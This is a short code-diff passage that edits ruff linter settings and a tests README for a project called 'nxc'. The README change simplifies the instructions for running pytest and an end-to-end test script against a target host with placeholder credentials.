+dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
+
+target-version = "py37"
+
+[tool.ruff.flake8-quotes]
+docstring-quotes = "double"
+inline-quotes = "double"
+multiline-quotes = "double"

tests/README.md

@@ -5,8 +5,7 @@
 * Run `pytest` (or `poetry run pytest`)
 
 ### End to End Tests
-* Install nxc (either in venv or via Poetry): `poetry install --with dev`
+* Install nxc (either in venv or via Poetry)
 * Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
   * Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
-* For testing standalone binaries (e.g. windows) run: `python tests/e2e_tests.py --executable dist/nxc.exe -t $IP -u $USER -p $PASS`
 * To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag